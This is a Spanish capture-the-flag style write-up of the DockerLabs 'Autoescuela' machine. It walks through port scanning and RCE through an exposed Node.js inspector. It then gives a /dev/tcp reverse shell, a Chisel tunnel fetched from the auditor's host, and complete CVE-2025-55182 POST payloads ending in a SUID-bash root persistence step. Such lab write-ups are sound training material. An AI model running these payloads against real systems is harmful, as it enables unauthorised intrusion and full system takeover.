

Informe de Pentesting – Máquina: Autoescuela

 **Dificultad:** Fácil

 **Plataforma:** DockerLabs

1. Despliegue del Entorno

Para desplegar el laboratorio vulnerable, se descomprime el archivo empaquetado proporcionado y se ejecuta el script de automatización encargado de levantar la infraestructura en contenedores Docker:

Bash

```
unzip autoescuela.zip  
  
sudo bash auto_deploy.sh autoescuela.tar
```

Este proceso inicializa de forma automática los servicios necesarios para la simulación del escenario de auditoría.

2. Comprobación de Conectividad

Previo al inicio del reconocimiento activo, se verifica la disponibilidad del host objetivo y la estabilidad de la conexión mediante el envío de solicitudes ICMP (*Ping*):

Bash

```
ping -c 1 172.17.0.2
```

La recepción de la respuesta confirma que la máquina objetivo está activa, operativa y accesible dentro del segmento de red local.

3. Escaneo de Puertos y Servicios

Enumeración Inicial de Puertos TCP

Se realiza un escaneo exhaustivo sobre los 65,355 puertos TCP para identificar cuáles de ellos se encuentran expuestos y aceptando conexiones:

Bash

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
```

Justificación técnica de los parámetros utilizados:

- `-p-` → Escanea el rango completo de puertos TCP (1-65535).
- `--open` → Filtra los resultados para mostrar únicamente los puertos con estado abierto.
- `-sS` → Realiza un sondeo mediante *TCP SYN* (escaneo semiabierto o sigiloso).
- `--min-rate 5000` → Define una tasa mínima de 5,000 paquetes por segundo para acelerar el proceso.
- `-n` → Desactiva la resolución DNS inversa para evitar demoras adicionales.
- `-Pn` → Omite el descubrimiento previo de hosts (*Ping Sweep*), asumiendo que el objetivo está activo.

Puertos Detectados

El análisis inicial reveló los siguientes puertos abiertos:

- `8080/tcp` → Servicio HTTP.
- `9229/tcp` → Node.js (V8 Inspector). Este puerto expone el protocolo de depuración de Node.js basado en *Chrome DevTools*. Permite a los desarrolladores conectarse de forma remota a la instancia en ejecución para inspeccionar el estado de la memoria, evaluar código en tiempo real, auditar el rendimiento y depurar scripts directamente sobre el motor V8 del servidor.

Enumeración Avanzada de Versiones y Servicios

Con los vectores potenciales identificados, se ejecuta un escaneo dirigido para determinar las versiones específicas de los servicios en ejecución:

Bash

```
nmap -sCV -p 8080,9229 172.17.0.2
```

4. Reconocimiento Web y Enumeración

Acceso Inicial (Puerto 8080)

Se interactúa con el servicio web principal navegando hacia la dirección IP del objetivo:

Plaintext

```
http://172.17.0.2:8080
```

La aplicación responde correctamente, mostrando una interfaz con contenido y funcionalidades públicas limitadas a primera vista.

Descubrimiento de Directorios y Archivos Ocultos

Para identificar rutas ocultas, archivos de configuración o recursos expuestos, se realiza un ataque de fuerza bruta sobre el servidor web utilizando la herramienta **Gobuster**.

Auditoría sobre el puerto 8080:

Bash

```
gobuster dir -u http://172.17.0.2:8080/ -w  
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -  
x .env,.php,.bak,.old,.zip,.txt -b 403,404 --exclude-length 8068
```

Resultados de interés identificados:

Plaintext

/contacto

/css

Auditoría sobre el puerto 9229 (Inspector): Se replica el procedimiento para el puerto del depurador con el fin de detectar endpoints expuestos:

Bash

```
gobuster dir -u http://172.17.0.2:9229/ -w  
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -  
x .env,.php,.bak,.old,.zip,.txt -b 403,404 --exclude-length 8068
```

Se localizan las siguientes rutas críticas:

Plaintext

/json

/JSON

⚡ 5. Explotación del Entorno (Fase de Acceso Inicial)

🔗 Interacción con el Depurador de Node.js

Tras confirmar la exposición de los endpoints JSON en el puerto 9229, se intenta establecer una conexión remota interactiva empleando la utilidad de depuración nativa de Node.js:

Bash

```
node inspect 172.17.0.2:9229
```

⚠ **Nota de Seguridad:** El servicio permite la conexión directa sin requerir credenciales debido a una falta de control de acceso. El inspector emite una advertencia indicando que la interfaz está

diseñada para entornos locales seguros; al exponerse a la red, cualquier usuario puede evaluar código arbitrario con los mismos privilegios que posee el proceso del servidor.

Al consolidarse el acceso al prompt interactivo (`debug>`), se ejecuta una secuencia analítica para vulnerar el entorno mediante **Contaminación de Prototipos (*Prototype Pollution*)** y alcanzar la **Ejecución Remota de Código (RCE)**.

Paso 1: Mapeo del Entorno

JavaScript

```
exec('process.versions')
```

- **Propósito:** Invoca al objeto global `process` para consultar sus versiones de núcleo (ej. `node: '22.22.2'`). Esto ayuda a verificar la existencia de vulnerabilidades públicas asociadas a la versión exacta de la plataforma.

Paso 2: Intento de Ejecución Nativa de Bajo Nivel

JavaScript

```
exec('const spawn = process.binding("spawn_sync"); const result =  
spawn.spawn({file: "/bin/sh", args: ["/bin/sh", "-  
c", "id"], stdio: [{type: "pipe", readable: true, writable: false}, {type: "pipe", reada  
ble: false, writable: true}, {type: "pipe", readable: false, writable: true}], envPairs  
: []}); result.output[1]')
```

- **Propósito:** Evita restricciones del entorno básico interactuando con las funciones de bajo nivel del motor (`spawn_sync`) para invocar `/bin/sh` y procesar el comando `id`. La respuesta estructurada como un `Uint8Array` confirma que el sistema operativo subyacente procesa las instrucciones.

Paso 3: Inyección del Método `require` en el Prototipo Global

JavaScript

```
exec('Object.prototype.require = function(m) { return  
process.mainModule.require(m) }')
```

- **Propósito:** Inyecta de forma maliciosa el método `require` en la raíz de JavaScript (`Object.prototype`). En entornos restringidos, `require` suele estar deshabilitado; al contaminar el prototipo base, cualquier objeto nuevo heredará este método de forma automática.

Paso 4: Verificación de la Contaminación

JavaScript

```
exec('Object.prototype.polluted = "yes"; polluted')
```

- **Propósito:** Control de calidad clásico para confirmar que las alteraciones realizadas en el prototipo raíz han persistido correctamente dentro de la memoria del proceso.

Paso 5: Confirmación de Ejecución de Comandos (RCE)

JavaScript

```
exec('({}).require("child_process").execSync("id").toString()')
```

- **Propósito:** Valida el RCE completo. Un objeto vacío {} invoca al método heredado `require` para cargar el módulo `child_process` y ejecutar de manera síncrona el comando `id`. La respuesta revela la identidad del usuario actual en el sistema operativo:
`uid=1001(webuser).`

Establecimiento de la Reverse Shell

Se pone un puerto en escucha en el equipo del auditor:

Bash

```
sudo nc -lvnp 4444
```

Posteriormente, se transmite el payload de red desde la sesión activa del depurador para forzar la conexión reversa:

JavaScript

```
exec('({}).require("child_process").execSync("bash -c \'bash -i >&/dev/tcp/192.168.0.100/4444 0>&1\'")')
```

Se recibe la conexión de forma exitosa en el Host Auditor. Para garantizar una terminal estable y con capacidades interactivas completas (gestión de señales, historial, editores de texto), se ejecuta el tratamiento de la **TTY**:

Bash

```
script /dev/null -c bash # [Presionar Ctrl + Z para suspender la sesión] stty raw -echo; fg reset xterm export TERM=xterm export SHELL=/bin/bash
```

Al estabilizar la terminal, se inspecciona el directorio local `/home/webuser` y se valida la existencia de la flag inicial del usuario.

6. Enumeración Interna y Tunelización de Red

Se realiza un análisis de los servicios locales que no son visibles desde el exterior:

Bash

```
netstat -tuln
```

El resultado revela un servicio HTTP corriendo en el socket local `127.0.0.1:3000`. Para poder interactuar con él desde el equipo atacante, se implementa una tunelización reversa empleando **Chisel**.

Configuración del Túnel con Chisel

1. **En la Máquina Atacante (Servidor):** Se prepara el binario y se inicializa en modo escucha:
2. Bash
3. `gunzip -d chisel_1.11.5_linux_amd64.gz`
4. `chmod +x chisel_1.11.5_linux_amd64`
5. `mv chisel_1.11.5_linux_amd64 Chisel`
6. `./chisel server -p 9000 --reverse`
- 7.
8. *Se expone temporalmente un servidor web en Python para transferir el binario a la víctima:*
9. Bash
10. `sudo python3 -m http.server 80`
- 11.
12. **En la Máquina Víctima (Cliente):** Se descarga el archivo en el directorio `/tmp` y se conecta al servidor de Chisel:
13. Bash
14. `cd /tmp curl -O http://192.168.0.100/Chisel chmod +x Chisel ./chisel client 192.168.0.100:9000 R:3001:127.0.0.1:3000`

Con el reenvío de puertos configurado, la aplicación interna queda expuesta localmente en la máquina del auditor en el puerto 3001:

Plaintext

`http://127.0.0.1:3001/`

✪ 7. Explotación de la Aplicación Interna (CVE-2025-55182)

Al analizar las características de la aplicación interna basada en un framework moderno de Node.js, se sospecha de la presencia de la vulnerabilidad de severidad crítica **CVE-2025-55182**.

i Análisis del Fallo (CVE-2025-55182): Consiste en una deficiencia crítica de Server-Side Request Forgery (SSRF) y Ejecución Remota de Código (RCE) en componentes que procesan *Server Actions*. El fallo radica en la insuficiente validación durante la deserialización de estructuras de datos en peticiones `POST`. Un atacante puede alterar las propiedades de objetos internos, enlazándolos a cadenas de *Prototype Pollution*, logrando evadir los entornos de aislamiento para ejecutar comandos directamente en el servidor.

Se ejecuta una herramienta automatizada propia para diagnosticar de forma segura la exposición del endpoint:

Bash

`python3 cve_checker.py --url http://localhost:3001`

Los indicadores reportan una confianza alta, procediendo con la explotación manual.

🚩 Ejecución del Vector RCE mediante `cURL`

Para validar de manera concluyente el fallo, se envía una petición HTTP `POST` manipulada al servidor web tunelizado:

Bash

```
curl -X POST http://localhost:3001/ \ -H "Content-Type: multipart/form-data; boundary=----Boundary" \ -H "Next-Action: test" \ -H "Accept: text/x-component" \ --data-binary $'-----Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":{"\\"then\\":\\"$B0\\""},"_response":{"_prefix":"process.mainModule.require(\'child_process\').execSync(\'id\').toString()"},"_formData":{"get":"$1:constructor:constructor"}}}\r\n-----Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n-----Boundary--\r\n'
```

Análisis Técnico del Payload: La estructura de la petición simula una interacción legítima (multipart/form-data). Sin embargo, el contenido en formato JSON inyecta valores manipulados que obligan al motor a procesar la propiedad `_prefix`, cargando el módulo `child_process` y ejecutando de manera síncrona el comando de sistema `id`.

El servidor responde reflejando los identificadores de acceso, confirmando que la inyección es efectiva y que se ejecuta bajo el contexto del usuario `root`.

👑 8. Escalada de Privilegios y Persistencia

Aprovechando que los comandos enviados se ejecutan con los privilegios del superusuario `root`, se procede a fijar persistencia asignando el bit `SUID` al binario nativo `bash`:

Bash

```
curl -X POST http://localhost:3001/ \ -H "Content-Type: multipart/form-data; boundary=----Boundary" \ -H "Next-Action: test" \ -H "Accept: text/x-component" \ --data-binary $'-----Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":{"\\"then\\":\\"$B0\\""},"_response":{"_prefix":"process.mainModule.require(\'child_process\').execSync(\'chmod u+s /bin/bash\').toString()"},"_formData":{"get":"$1:constructor:constructor"}}}\r\n-----Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n-----Boundary--\r\n'
```

Análisis de la Persistencia: La instrucción `chmod u+s /bin/bash` fija el bit **SUID** (*Set User ID*) sobre la shell. Esto permite que cualquier usuario local sin privilegios pueda invocar este binario manteniendo de manera efectiva los permisos del propietario original (`root`).

Consecución del Acceso como Root

De vuelta en la shell interactiva original de `webuser`, se realizan las comprobaciones correspondientes:

15. **Validación del Bit SUID:**

16. Bash

17. `ls -la /bin/bash`

18.

19. La presencia del bit **s** (ej. `-rwsr-xr-x`) confirma que el archivo se ha modificado de forma correcta.

20. **Generación de la Shell de Root:**

21. Bash

22. `bash -p`

23.

24. La bandera `-p` instruye al binario de Bash para que mantenga y no descarte los privilegios heredados a través del SUID, entregando un prompt con identificador efectivo de **root**.

¡Máquina comprometida y escalada en su totalidad de forma exitosa!